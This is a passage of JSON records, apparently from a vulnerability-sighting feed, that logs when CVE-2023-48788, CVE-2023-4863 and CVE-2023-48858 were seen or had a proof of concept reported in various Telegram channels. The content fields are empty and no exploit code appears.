"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/purpleshift/79", "content": "", "creation_timestamp": "2026-08-04T13:00:05.123694Z"}, {"uuid": "503dbfbd-18e2-43eb-b284-772570b852d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2099", "content": "", "creation_timestamp": "2026-08-05T00:00:59.171330Z"}, {"uuid": "61c5429e-8704-4858-9dd1-10ec200cf659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/sysadm_in_up/1912", "content": "", "creation_timestamp": "2026-08-05T00:00:58.396912Z"}, {"uuid": "4a4cdc42-d4e2-42fa-b2d4-bb62cf27ac0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/Finance_CiSO/210", "content": "", "creation_timestamp": "2026-08-05T00:00:44.330415Z"}, {"uuid": "d5892e09-7fdc-4284-a9e3-d3c8988126e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/knowyouradversary/51", "content": "", "creation_timestamp": "2026-08-05T00:00:32.084157Z"}, {"uuid": "c85f9807-6ab8-45e7-9914-380ddd8e2043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/purpleshift/79", "content": "", "creation_timestamp": "2026-08-05T00:00:28.181286Z"}, {"uuid": "12a2b8dd-3f62-492f-ad71-c5fe82089ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/Finance_CiSO/210", "content": "", "creation_timestamp": "2026-08-06T00:00:36.866397Z"}]}